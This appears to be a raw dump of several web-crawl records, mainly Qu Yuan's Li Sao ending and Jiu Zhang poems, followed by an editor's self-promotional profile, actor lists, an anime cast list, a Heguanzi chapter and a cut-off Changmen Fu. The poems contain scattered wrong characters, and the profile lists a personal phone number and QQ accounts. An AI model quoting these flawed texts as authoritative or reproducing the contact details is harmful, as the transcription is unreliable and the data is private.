兮,周流乎天余乃下。望瑶台之偃蹇兮,见有娥之佚女。吾令鸩为媒兮,鸩告余以不好。雄鸠之鸣逝兮,余犹恶其佻巧。心犹豫而狐疑兮,欲自适而不可。凤鸟既受诒兮,恐高辛之先我。欲远集而无所止兮,聊浮游以逍遥。及少康之未家兮,留有虞之二姚。理弱而媒拙兮,恐导言之不固。时溷浊而嫉贤兮,好蔽美而称恶。闺中既以邃远兮,哲王又不寤。怀朕情而不发兮,余焉能忍与此终古!\n索琼茅以筵篿兮,命灵氛为余占之。曰:\"两美其必合兮,孰信修而慕之?思九州之博大兮,岂唯是其有女?\"曰:\"勉远逝而无狐疑兮,孰求美而释汝?何所独无芳草兮,尔何怀乎故宇?世幽昧以眩曜兮,孰云察余之美恶?人好恶其不同兮,惟此党人其独异。户服艾以盈要兮,谓幽兰其不可佩。览察草木其犹未得兮,岂理美之能当?苏粪壤以充帏兮,谓申椒其不芳。\"\n欲从灵氛之吉占兮,心犹豫而狐疑。巫咸将夕降兮,怀椒糈而要之。百神翳其备降兮,九疑缤其并迎。皇剡剡其扬灵兮,告余以吉故。曰:\"勉升降以上下兮,求矩蠖之所同。汤、禹俨而求合兮,挚、皋繇而能调。苟中情其好修兮,何必用夫行媒。说操筑于傅岩兮,武丁用而不疑。吕望之鼓刀兮,遭周文而得举。甯戚之讴歌兮,齐桓闻以该辅。及年岁之未晏兮,时亦犹其未央。恐鸨鸩之先鸣兮,使百草为之不芳。\"\n何琼佩之偃蹇兮,众薆然而蔽之。惟此党人之不亮兮,恐嫉妒而折之。时缤纷其变易兮,又何可以淹留!兰芷变而不芳兮,荃蕙化而为茅。何昔日之芳草兮,今直为此萧艾也?岂其有他故兮,莫好修之害也!余以兰为可恃兮,羌无实而容长。委厥美以从俗兮,苟得列乎众芳。椒专佞以慢谓兮,栋又欲充其佩帏。既干进而务人兮,又何芳之能祗?固时俗之从流兮,又孰能无变化?览椒兰其若兹兮,又况揭车与江蓠。惟兹佩之可贵兮,委厥美而历兹。芳菲菲而难亏兮,芬至今犹未沫。和调度以自娱兮,聊浮游而求女。及余饰之方壮兮,周流观乎上下。\n灵氛既告余以吉占兮,历吉日乎吾将行。折琼枝以为羞兮,精琼糜以为长。为余驾飞龙兮,杂瑶象以为车。何离心之可同兮,吾将远逝以自疏。吾道夫昆仑兮,路修远以周流。扬云霓之晻蔼兮,鸣玉鸾之啾啾。朝发轫于天津兮,夕余至乎西极。凤皇翼其承旗兮,高翱翔之翼翼。忽吾行此流沙兮,遵赤水而容与。麾蛟龙使梁津兮,诏西皇使涉予。路修远以多艰兮,腾众车使径待。路不周以左转兮,指西海以为期。屯余车其千乘兮,齐玉软而并驰。驾八龙之婉婉兮,载云旗之委蛇。抑志而弭节兮,神高驰之邈邈。奏《九歌》而舞《韶》兮,聊假日以蝓乐。陟升皇之赫戏兮,忽临睨夫旧乡。仆夫悲余马怀兮,蜷局顾而不行。\n乱曰:已矣哉!国无人莫我知兮,又何怀乎故都!既莫足与为美政兮,吾将从彭咸之所居。\n◆屈原九章惜诵\n惜诵以致愍兮,发愤以抒情。所非忠而言之兮,指苍天以为正。令五帝以折中兮,戒六神与向服。俾山川以备御兮,命咎繇使听直。竭忠诚以事君兮,反离群而赘胱。忘儇媚以背众兮,待明君其知之。言与行其可迹兮,情与貌其不变。故相臣莫若君兮,所以证之不远。吾谊先君而后身兮,羌众人之所仇也。专惟君而无他兮,又众兆之所仇也。壹心而不豫兮,羌不可保也。疾亲君而无他兮,有招祸之道也。\n思君其莫我忠兮,忽忘身之贱贫。事君而不贰兮,迷不知宠之门。忠何辜以遇罚兮,亦非余之所志也。行不群以颠越兮,又众兆之所哈也。纷逢尤以离谤兮,謇不可释也。情沉抑而不达兮,又蔽而莫之白也。心郁邑余诧傺兮,又莫察余之中情。固烦言不可结而诒兮,愿陈志而无路。退静默而莫余知兮,进号呼又莫吾闻。申诧傺之烦惑兮,中闷瞀之饨饨。\n昔余梦登天兮,魂中道而无杭。吾使厉神占之兮,曰:\"有志极而无旁。\"终危独以离异兮,曰:\"君可思而不可恃。故众口其铄金兮,初若是而逢殆。惩热羹而吹齑兮,何不变此志也?欲释阶而登天兮,犹有曩之态也。众骇遽以离心兮,又何以为此伴也?同极而异路兮,又何以为此援也?晋申生之孝子兮,父信谗而不好。行婢直而不豫兮,鮌功用而不就。\"\n吾闻作忠以造怨兮,忽谓之过言。九折臂而成医兮,吾至今乃知其信然。矰弋机而在上兮,罻罗张而在下。设张辟以娱君兮,愿侧身而无所。欲值侗以干傺兮,恐重患而离尤。欲高飞而远集兮,君罔谓女何之。欲横奔而失路兮,盖坚志而不忍。背膺胖以交捅兮,心郁结而纡轸。捣木兰以矫蕙兮,凿申椒以为粮。播江蓠与灌菊兮,愿春日以为糗芳。恐情质之不信兮,故重著以自明。挢兹媚以私处兮,愿曾思而远身。\n◆屈原九章涉江\n余幼好此奇服兮,年既老而不衰。带长铗之陆离兮,冠切云之崔嵬。被明月兮佩宝璐,世溷浊而莫余知兮,吾方高驰而不顾。驾青虬兮骖白螭,吾与重华游兮瑶之圃。登昆仑兮食玉英,与天地兮比寿,与日月兮齐光。哀南夷之莫吾知兮,旦余济乎江湘。\n乘鄂渚而反顾兮,欺秋冬之绪风。步余马兮山皋,邸余车兮方林。乘龄船余上沅兮,齐吴榜以击汰。船容与而不进兮,淹回水而疑滞。朝发枉渚兮,夕宿辰阳。苟余心其端直兮,虽僻远其何伤!\n人溆浦余值侗兮,迷不知吾所如。深林杳以冥冥兮,乃猿狄之所居。山峻高而蔽日兮,下幽晦以多雨。霰雪纷其无垠兮,云霏霏而承宇。哀吾生之无乐兮,幽独处乎山中。吾不能变心而从俗兮,固将愁苦而终穷。\n接舆髡首兮,桑扈裸行。忠不必用兮,贤不必以。伍子逢殃兮,比干菹醢。与前世而皆然兮,吾又何怨乎今之人!余将董道而不豫兮,固将重昏而终身。\n乱曰:鸾鸟凤皇,日以远兮。燕雀乌鹊,巢堂坛兮。露申辛夷,死林薄兮。腥臊并御,芳不得薄兮。阴阳易位,时不当兮。怀信诧傺,忽乎吾将行兮。\n◆屈原九章哀郢\n皇天之不纯命兮,何百姓之震愆!民离散而相失兮,方仲春而东迁。去故乡而就远兮,遵江夏以流亡。出国门而轸怀兮,甲之量吾以行。发郢而去闾兮,怊荒忽其焉极。楫齐扬以容与兮,哀见君而不再得。望长楸而太息兮,涕淫淫其若霰。过夏首而西浮兮,顾龙门而不见。心婵媛而伤怀兮,眇不知余所蹠。顺风波而流从兮,焉洋洋而为客。凌阳侯之泛滥兮,忽翱翔之焉薄!心絓结而不解兮,思蹇产而不释。\n将运舟而下浮兮,上洞庭而下江。去终古之所居兮,今逍遥而来东。羌灵魂之欲归兮,何须臾而忘反!背夏浦而西思兮,哀故都之日远。登大坟以远望兮,聊以舒吾忧心。哀州土之平乐兮,悲江介之遗风。\n当陵阳之焉至兮,淼南度之焉如?曾不知夏之为丘兮,孰两东门之可芜?心不怡之长久兮,忧与忧其相接。惟郢路之辽远兮,江与夏之不可涉。忽若去不信兮,至今九年而不复。惨郁郁而不通兮,蹇侘傺而含戚。\n外承欢之汋约兮,谌荏弱而难持。忠湛湛而愿进兮,妒披离而鄣之。彼尧舜之抗行兮,嘹杳杳其薄天。众谗人之嫉妒兮,被以不慈之伪名。憎愠惀之修美兮,好夫人之忼慨。众踥蹀而日进兮,美超远而逾迈。\n乱日:曼余目以流观兮,冀壹反之何时!鸟飞反故乡兮,狐死必首丘。信非吾罪而弃逐兮,何日夜而忘之!\n◆屈原九章抽思\n心郁郁之忧思兮,独永叹乎增伤。思蹇产之不释兮,曼遭夜之方长。悲秋风之动容兮,何回极之浮浮。数惟荪之多怒兮,伤余心之忧忧。愿遥赴而横奔兮,览民尤以自镇。结微情以陈辞兮,矫以遗夫美人。\n昔君与我成言兮,曰:\"黄昏以为期。\"羌中道而回畔兮,反既有此他志。憍吾以其美好兮,览余以其修夸。与余言而不信兮,盖为余而造怒。愿承间而自察兮,心震悼而不敢;悲夷犹而冀进兮,心怛伤之憺々。历兹情以陈辞兮,荪详聋而不闻;固切人之不媚兮,众果以我为患。初吾所陈之耿著兮,岂至今其庸亡?何独乐斯之謇謇兮,愿荪美之可完。望三五以为像兮,指彭咸以为仪。夫何极而不至兮,故远闻而难亏。善不由外来兮,名不可以虚作。孰无施而有报兮,孰不实而有获?\n少歌曰:与美人抽怨兮,并日夜而无正。情吾以其美好兮,敖朕辞而不听。\n倡曰:有鸟自南兮,来集汉北。好夸佳丽兮,牉独处此异域。既惸独而不群兮,又无良媒在其侧。道逴远而日忘兮,愿自申而不得。望南山而流涕兮,临流水而太息。望孟夏之短夜兮,何晦明之若岁!惟郢路之辽远兮,魂一夕而九逝。曾不知路之曲直兮,南指月与列星。愿径逝而不得兮,魂识路之营营。何灵魂之信直兮,人之心不与吾心同。理弱而媒不通兮,尚不知余之从容。\n乱曰:长濑湍流,溯江潭兮。狂顾南行,聊以娱心兮。轸石崴嵬,蹇吾愿兮。超回志度,行隐进兮。低侗夷犹,宿北姑兮。烦冤瞀容,实沛徂兮。愁叹苦神,灵遥思兮。路远处幽,又无行媒兮。道思作颂,聊自救兮。忧心不遂,斯言谁告兮。\n◆屈原九章怀沙\n滔滔孟夏兮,草木莽莽。伤怀永哀兮,汩徂南土。旬兮杳杳,孔静幽默。郁结纡轸兮,离愍而长鞠。抚情效志兮,冤屈而自抑。\n利方以为圜兮,常度未替。易初本迪兮,君子所鄙。章画志墨兮,前图未改。内直质重兮,大人所盛。巧僵不斫兮,孰察其揆正?玄文处幽兮,蠓谓之不章。离娄微睇兮,瞽以为无明。变白以为黑兮,倒上以为下。凤皇在簸兮,鸡鹜翔舞。同糅玉石兮,一概而相量。夫惟党人之鄙固兮,羌不知余之所臧。\n任重载盛兮,陷滞而不济。怀瑾握瑜兮,穷不知所示。邑犬群吠兮,吠所怪也。非俊疑桀兮,固庸态也。文质疏内兮,众不知余之异采。材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰。重华不可逻兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自强。离慜而不迁兮,愿志之有像。进路北次兮,日昧昧其将暮。舒忧娱哀兮,限之以大故。\n乱曰:浩浩沅、湘,分流汩兮。修路幽拂,道远忽兮。曾吟恒悲,永叹喟兮。世既莫吾知,人心不可谓兮。怀情抱质,独无匹兮。伯乐既没,骥将焉程兮!民生禀命,各有所错兮。定心广志,余何畏惧兮?知死不可让,愿勿爱兮。明告君子,吾将以为类兮。\n◆屈原九章橘颂\n后皇嘉树,橘徕服兮。受命不迁,生南国兮。深固难徙,更壹志兮。绿叶素荣,纷其可喜兮。曾枝剡棘,圜实抟兮;青黄杂糅,文章烂兮。精色内白,类任道兮。纷组宜修,婷而不丑兮。\n嗟尔幼志,有以异兮。独立不迁,岂不可喜兮!深固难徙,廓其无求兮。苏世独立,横而不流兮。闭心自慎,终不过失兮。秉德无私,参天地兮。愿岁并谢,与长友兮。淑离不淫,梗其有理兮。年岁虽少,可师长兮。行比伯夷,置以为像兮。\n◆屈原九章悲回风\n悲回风之摇蕙兮,心冤结而内伤。物有微而陨性兮,声有隐而先倡。夫何彭咸之造思兮,暨志介而不忘!万变其情岂可盖兮,孰虚伪之可长!鸟兽鸣以号群兮,草苴比而不芳。鱼葺鳞以自别兮,蛟龙隐其文章。故荼荠不同亩兮,兰茝幽而独芳。惟佳人之永都兮,更统世以自况。眇远志之所及兮,怜浮云之相羊。介眇志之所惑兮,窃赋诗之所明。\n惟佳人之独怀兮,折芳椒以自处。曾献欷之嗟嗟兮,独隐伏而思虑。涕泣交而凄凄兮,思不眠以至曙。终长夜之曼曼兮,掩此哀而不去。寤从容以周流兮,聊逍遥以自恃。伤太息之愍怜兮,气於邑而不可止。纠思心以为纕兮,编愁苦以为膺。折若木以蔽光兮,随飘风之所仍。存仿佛而不见兮,心踊跃其若汤。抚佩衽以案志兮,超惘惘而遂行。岁曶曶其若颓兮,时亦冉冉而将至。薠蘅槁而节离兮,芳已歇而不比。怜思心之不可惩兮,证此言之不可聊。宁溘死而流亡兮,不忍此心之常愁。孤子吟而技泪兮,放子出而不还。孰能思而不隐兮,昭彭咸之所闻。\n登石峦以远望兮,路眇眇之默默。人景响之无应兮,闻省想而不可得。愁郁郁之无快兮,居戚戚而不可解。心轨羁而不开兮,气缭转而自缔。穆眇眇之无垠兮,莽芒芒之无仪。声有隐而相感兮,物有纯而不可为。藐蔓蔓之不可量兮,缥绵绵之不可纡。愁悄悄之常悲兮,翩冥冥之不可娱。陵大波而流风兮,托彭咸之所居。\n上高岩之峭岸兮,处雌霓之标颠。据青冥而摅虹兮,遂倏忽而扪天。吸湛露之浮凉兮,漱凝霜之雾雾。依风穴以自息兮,忽倾寤以婵媛。冯昆仑以瞰雾兮,隐蚊山之清江。惮涌湍之磋磋兮,听波声之汹汹。纷容容之无经兮,罔芒芒之无纪。轧洋洋之无从兮,驰委蛇之焉止。飘幡幡其上下兮,翼遥遥其左右。泛潏潏其前后兮,伴张弛之信期。观炎气之相仍兮,窥烟液之所积。悲霜雪之俱下兮,听潮水之相击。\n借光景以往来兮,施黄棘之枉策。求介子之所存兮,见伯夷之放迹。心调度而不去兮,刻著志之无适,曰:吾怨往昔之所冀兮,悼来者之惕惕。浮江淮而人海兮,从子胥而自适。望大河之洲渚兮,悲申徒之抗迹。骤谏君而不听兮,任重石之何益!心絓结而不解兮思蹇产而不释。\n◆屈原九章思美人\n思美人兮,揽涕而伫眙。媒绝路阻兮,言不可结而诒,蹇蹇之烦冤兮,陷滞而不发。申旦以舒中情兮,志沉菀而莫达。愿寄言于浮云兮,遇丰隆而不将。因归鸟而致辞兮,羌迅高而难当。\n高辛之灵晟兮,遭玄鸟而致诒。欲变节以从俗兮,愧易初而屈志。独历年而离愍兮,羌冯心犹未化。宁隐闵而寿考兮,何变易之可为!知前辙之不遂兮,未改此度。车既覆而马颠兮,蹇独怀此异路。勒骐骥而更驾兮,造父为我操之。迁逡次而勿驱兮,聊假日以须时。指嶓冢之西隈兮,与纁黄以为期。\n开春发岁兮,白日出之悠悠。吾将荡志而愉乐兮,遵江夏以娱忧。揽大薄之芳茝兮,搴长洲之宿莽。惜吾不及古人兮,吾谁与玩此芳草。解萹薄与杂菜兮,备似为交佩。佩缤纷以缭转兮,遂萎绝而离异。吾且儃徊以娱忧兮,观南人之变态。窃快在中心兮,扬厥冯而不俟。芳与泽其杂糅兮,羌芳华自中出。纷郁郁其远熏兮,满内而外扬。情与质信可保兮,羌居蔽而闻章。令薜荔以为理兮,惮举趾而缘木。因芙蓉以为媒兮,惮褰裳而濡足。登高吾不说兮,人下吾不能。固朕形之不服兮,然容与而狐疑。广遂前画兮,未改此度也。命则处幽吾将罢兮,愿及白日之未暮也。独茕茕而南行兮,思彭咸之故也。\n◆屈原九章惜往日\n惜往日之曾信兮,受命诏以昭时。奉先功以照下兮,明法度之嫌疑。国富强而法立兮,属贞臣而日嬉。秘密事之载心兮,虽过失犹弗治。心纯厖而不泄兮,遭谗人而嫉之。君含怒以待臣兮,不清澄其然否。蔽晦君之聪明兮,虚惑误又以欺。弗参验以考实兮,远迁臣而弗思。信谗谀之溷浊兮,盛气志而过之。\n何贞臣之无罪兮,被讟谤而见尤。惭光景之诚信兮,身幽隐而备之。临江、湘之玄渊兮,遂自忍而沉流。卒没身而绝名兮,惜壅君之不昭。君无度而弗察兮,使芳草为薮幽。焉舒情而抽信兮,恬死亡而不聊。独鄣壅而蔽隐兮,使贞臣而无由。\n闻百里之为虏兮,伊尹烹于庖厨。吕望屠于朝歌兮,甯戚歌而饭牛。不逢汤、武与桓、缪兮,世孰云而知之?吴信谗而弗味兮,子胥死而后忧。介子忠而立枯兮,文君寤而追求。封介山而为之禁兮,报大德之优游。思久故之亲身兮,因缟素而哭之。或忠信而死节兮,或池谩而不疑。弗省察而按实兮,听谗人之虚辞。芳与泽其杂糅兮,孰申旦而别之?何芳草之早夭兮,微霜降而下戒。谅聪不明而蔽壅兮,使谗谀而日得。\n自前世之嫉贤兮,谓蕙若其不可佩。妒佳冶之芬芳兮,嫫母姣而自好。虽有西施之美容兮,谗妒人以自代。愿陈情以白行兮,得罪过之不意。情冤见之日明兮,如列宿之错置。乘骐骥而驰骋兮,无辔衔而自载;乘泛泔以下流兮,无舟楫而自备。背法度而心治兮,辟与此其无异。宁溘死而流亡兮,恐祸殃之有再。不毕辞而赴渊兮,惜壅君之不识。\n编者简叙\n当今\"辞赋热\"掀起者赋帝其人简介:(赋帝名片)\n①中赋0-20号平台 赋帝骈尊古也司马呈祥潘氏 总编审\n②中国兴赋第一人 赋坛领袖 弘骈先驱 元勋辞赋文化推广家\n③千城赋 千校赋 千山赋 万水赋 百阁百楼赋 总设计师 兼 执行官\n④中国新赋运动第一发起人 中华辞赋家联合会主席 兼 中华赋学院院长\n⑤辞赋文化出版商 网络辞赋首席编辑师 中华辞赋(第一)网及其20网组建者\n⑥《赋苑琼葩》《千城赋》《中华新辞赋选粹》《中华辞赋报》总纂官 兼 主编\n⑦第一辞赋收藏家 中华辞赋最大文库集大成者 辞赋骈文资源大规模系统化整理者\n⑧当今\"辞赋热\"掀起者 总策动师 当代中华辞赋复兴与繁荣的导启者 开拓者 建树者\n⑨中国著名辞赋家创作集团 团长 兼 总指挥 当代主流辞赋家群体 精英代表 卓越领导人\n⑩著名辞赋家 骈文家 古文家 学者 河南理工大学文学与传媒学院教授 赋帝骈尊古也潘承祥\n联系方式\n邮箱:email@example.com QQ1:513067048 QQ2:1613619349 QQ3:364235722\n手机:13485881066 群QQ1:113153464 群QQ2:229600133 群QQ3:241496416","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/www.tc168.net\/979376\/index.asp?xAction=xReadNews&NewsID=1602","date":"2020-05-25T02:32:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347387155.10\/warc\/CC-MAIN-20200525001747-20200525031747-00521.warc.gz","language":"lzh","language_score":0.6372972131,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6372972130775452, \"cmn_Hani_score\": 0.09862130135297775, \"nan_Hani_score\": 0.09138142317533493, \"zxx_Latn_score\": 0.02471776120364666, \"jpn_Jpan_score\": 0.011962407268583775, \"yue_Hani_score\": 0.010953139513731003}","num_words":139,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.351,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n林文龍 黃翠如 連詩雅 馬貫東 謝芷倫 黃嘉樂 蘇皓兒 顧定軒 陳自瑤 劉溫馨 袁潔儀 李任燊 李日升 姚浩政 孟希璘 王卓淇 黃芷晴 麥皓兒 鍾志光 陳志健 楊卓娜 馮素波 岑杏賢 冼灝英 溫裕紅 劉天龍 李寶君 李寶珊 翟鋒 邱晴 黃凱琪 陳靜堯 梁雯蔚 關浩揚 姚亦澧 林穎彤 盧偉文 吳珮如 伍富橋 潘冠霖 林靖文 何家銘 王浚聲 馬溱禧 黃韻娜 何晉樂 吳子衝 張詩欣 黃子桐 黃可盈 陳苑澄\n郭晉安 廖碧兒 米雪 秦沛 廖安麗 許紹雄 郭政鴻 劉倩婷 林秀怡 林師傑 鍾鈺精 周家怡 蘇恩磁 範彩兒 鍾煌 何傲芝 譚真一 曾慧雲 魯芬 劉俐 梁珈詠 冼灝英 羅浩楷 何俊軒 沈卓盈 卓躒 李麗麗 李思雅 黃紀瑩 林淑敏 馬貫東 陳偉洪 呂熙 顏桂洲 陳志健 丁樂鍶 沈愛琳 羅欣羚 黎桐康 羅泳嫺 何君誠 梁健平 邱頌兒 岑寶兒 賀文傑 徐玟晴 葉暐 陳勉良 李海生 姚瑩瑩 李楓 魯文傑 李嘉 趙希洛 歐陽靖 古明華\n黃浩然 陳煒 譚俊彥 李施嬅 湯洛雯 朱晨麗 郭子豪 張彥博 謝賢 鄭希怡 鄭俊弘 謝雪心 康華 張文慈 海俊傑 陸詩韻 李美慧 蔡思貝 呂珊 曾偉權 朱匯林 楊柳青 黃耀煌 陳少邦 溫家偉 趙璧渝 謝芷倫 區靄玲 莫家淦 黃祥興 楊潮凱 張曦雯 陳敏之 鮑起靜 張頴康 鄭子誠 陳志健 黎燕珊 古明華 楊證樺 嘉駿 林子超 劉家聰 黃得生 羅蘭 麥玲玲 Kim Robertson 楊玉梅 李龍基 陳嘉桓 李漫芬 袁潔儀 吳香倫 李麗麗 胡美貽 程皓 吳沚默 張本立 林惜貞 吳卓衡 陳康琪 關嘉敏 夏子涓\n郭晉安 吳卓羲 陳錦鴻 徐子珊 梁靖琪 劉兆銘 周驄 郭少芸 許紹雄 梁競徽 陳曼娜 姚嘉妮 汪琳 郭政鴻 夏萍 楊瑞麟 簡慕華 黃澤鋒 梁舜燕 麥長青 祝文君 姚瑩瑩 吳諾弘 羅仲謙 麥嘉倫 梁健平 鄺佐輝 鍾志光 夏竹欣 李穎芝 李璧琦 王青 張紋嘉 陳榮峻 陳狄克 周寶霖 李鴻傑 招石文 楊潮凱 何慶輝 陳志健 李偉健 沈可欣 尹詩沛 李君妍 曾健明 陳琪 範彩兒 陳建文 陳珈穎 楊證樺 邵卓堯 高俊文 陳勉良 郭田葰 何俊軒 羅天池 陳宛蔚 阮兒 蘇恩磁 李興華 羅泳嫺 布偉傑 余子明 蕭凱欣 方\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E9%99%B3%E5%BF%97%E5%81%A5------------.html","date":"2020-09-20T16:21:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400198287.23\/warc\/CC-MAIN-20200920161009-20200920191009-00324.warc.gz","language":"lzh","language_score":0.6998026371,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6998026371002197, \"cmn_Hani_score\": 0.18218860030174255, \"nan_Hani_score\": 0.10206910222768784, \"yue_Hani_score\": 0.014714889228343964}","num_words":292,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.74,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n動漫《潮與虎OVA》由畠中祐 小山力也 小松未可子 安野希世乃 藤原啟治 坂本真綾 牧野由依 三宅健太 中村悠一 浪川大輔 豐崎愛生 寺杣昌紀 高木涉 清水理沙 三木真一郎 梶裕貴 南裡侑香 茅野愛衣 折笠富美子 佐藤藍 柴田秀勝 飯塚昭三 上田祐司 江川央生 古川登志夫 諏訪部順一 水樹奈奈 細谷佳正 逢坂良太 高垣彩陽 永澤菜教 花澤香菜 宮野真守 田中真弓 潘惠美 小西克幸 坂口候一 甲斐田裕子 子安武人 緒方賢一 村瀨步 津賀有子 澤木鬱也 有本欽隆 若本規夫 林原惠美 等主演,西村聰 執導。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/itv8.tv\/show\/76209.html","date":"2021-02-26T21:16:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178357984.22\/warc\/CC-MAIN-20210226205107-20210226235107-00371.warc.gz","language":"lzh","language_score":0.615991056,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6159910559654236, \"cmn_Hani_score\": 0.18660372495651245, \"jpn_Jpan_score\": 0.12665176391601562, \"yue_Hani_score\": 0.056553032249212265}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.652,"perplexity_score":500.0,"cluster_detection":1} +{"text":"泰錄第十一\n人論泰鴻之內,出觀神明之外,定制泰一之衷以為物稽。天有九鴻,地有九州。泰一之道,九皇之傅,請成於泰始之末。見不詳事於名理之外,范無形,嘗無味,以要名理之所會。\n范者、味之正也,味者、氣之父母也,精微者、天地之始也,不見形臠,而天下歸美焉,名尸神明者、大道是也。夫錯行合意,扶義本仁,積順之所成,先聖之所生也。\n行其道者有其名,為其事者有其功。故天地成於元氣,萬物乘於天地,神聖乘於道德以究其理。若上聖皇天者,先聖之所倚,威立有命也。故致治之自在己者也,招高者高,招庳者庳。故成形而不變者、度也,未離己而在彼者、狎漚也,陳體立節,萬世不易,天地之位也。分物紀名,文聖明別,神聖之齊也;法天居地,去方錯圓,神聖之鑒也;象說名物,成功遂事,隱彰不相離,神聖之教也。\n故流分而神生,動登而明生,明見而形成,形成而功存,故文者、所以分物也,理者、所以紀名也,天地者、同事而異域者也。無規圓者、天之文也,無矩方者、地之理也。天循文以動,地循理以作者也。二端者、神之法也,神聖之人,后先天地而尊者也。後天地生,然知天地之始;先天地亡,然知天地之終。道包之,故能知度之;尊重焉,故能改動之;敏明焉,故能制斷之。精神者、物之貴大者也,內聖者、精神之原也。莫貴焉,故靡不仰制焉,制者、所以衛精、擢神、致氣也。\n幽則不洩,(蕳)〔簡〕則不煩,不煩則精明達。故能役賢能、使神明,百化隨而變終始,從而豫神明者,積精微全粹之所成也。\n聖道神方,要之極也;帝制神化,治之期也。故師為君,而學為臣。上賢為天子,次賢為三公,高為諸侯。易姓而王,不以祖籍為君者,欲同一善之安也。彼天地動作於胸中,然後事成於外;萬物出入焉,然後生物無害。闓闔四時,引移陰陽,怨沒澄物,天下以為自然,此神聖之所以絕眾也。聖原神文,有驗而不可見者也,故過人可見,絕人未遠也,神明所以類合者也。\n故神明錮結其紘,類類生成,用一不窮。影則隨形,響則應聲,故形聲者、天地之師也。四時之功,陰陽不能獨為也。\n聖王者不失本末,故神明終始焉,卒令八風、三光之變、經氣不常之故,孰不詔請都理焉?故神靈威明上變光,疾徐緩急中動氣,煞傷毀禍下在地。故天地陰陽之受命,取象於神明之效,既已見矣。天者、氣之所總出也,地者、理之必然也。故聖人者出之於天,收之於地。在天地,若陰陽者,杜燥濕以法、義,與時遷焉。二者、聖人存則治,亡則亂者,天失其文、地失其理也。以是知先靈、王百神者,上德執大道。凡此者、物之長也,及至乎祖籍之世、代繼之君,身雖不賢,然南面稱寡,猶不果亡者,其能受教乎有道之士者也。不然而能守宗廟、存國家者,未之有也。","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/core.xueheng.net\/he_guan_zi\/0011.htm","date":"2021-09-18T22:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056578.5\/warc\/CC-MAIN-20210918214805-20210919004805-00177.warc.gz","language":"lzh","language_score":0.5486664772,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5486664772033691, \"cmn_Hani_score\": 0.35191577672958374, \"nan_Hani_score\": 0.042582180351018906, \"wuu_Hani_score\": 0.03281690552830696}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.614,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孝武皇帝陈皇后,时得幸,颇妒。别在长门宫,愁闷悲思。闻蜀郡成都司马相如天下工为文,奉黄金百斤,为相如、文君取酒,因于解悲愁之辞。而相如为文以悟主上,陈皇后复得亲幸。其辞曰:\n夫何一佳人兮,步逍遥以自虞。魂逾佚而不反兮,形枯槁而独居。言我朝往而暮来兮,饮食乐而忘人。心慊移而不省故兮,交得意而相亲。\n伊予志之慢愚兮,怀贞悫之懽心。愿赐问而自进兮,得尚君之玉音。奉虚言而望诚兮,期城南之离宫。修薄具而自设兮,君曾不肯乎幸临。廓独潜而专精兮,天漂漂而疾风。登兰台而遥望兮,神怳怳而外淫。浮云郁而四塞兮,天窈窈而昼阴。雷殷殷而响起兮,声象君之车音。飘风回而起闺兮,举帷幄之襜襜。桂树交而相纷兮,芳酷烈之訚訚。孔雀集而相存兮,玄猨啸而长吟。翡翠胁翼而来萃兮,鸾凤翔而北南。\n心凭噫而不舒兮,邪气壮而攻中。下兰台而周览兮,步从容于深宫。正殿块以造天兮,郁并起而穹崇。间徙倚于东厢兮,观夫靡靡而无穷。挤玉户以撼金铺兮,声噌吰而似钟音。\n刻木兰以为榱兮,饰文杏以为梁。罗丰茸之游树兮,离楼梧而相撑。施瑰木之欂栌兮,委参差以槺梁。时仿佛以物类兮,象积石之将将。五色炫以相曜兮,烂耀耀而成光。致错石之瓴甓兮,象瑇瑁之文章。张罗绮之幔帷兮,垂楚组之连纲。\n抚柱楣以从容兮,览曲台之央央。白鹤噭以哀号兮,孤雌跱于枯杨。日黄昏而望绝兮,怅独托于空堂。悬明月以自照兮,徂清夜于洞房。援雅琴以变调兮,奏愁思之不可长。案流徵以却转兮,声幼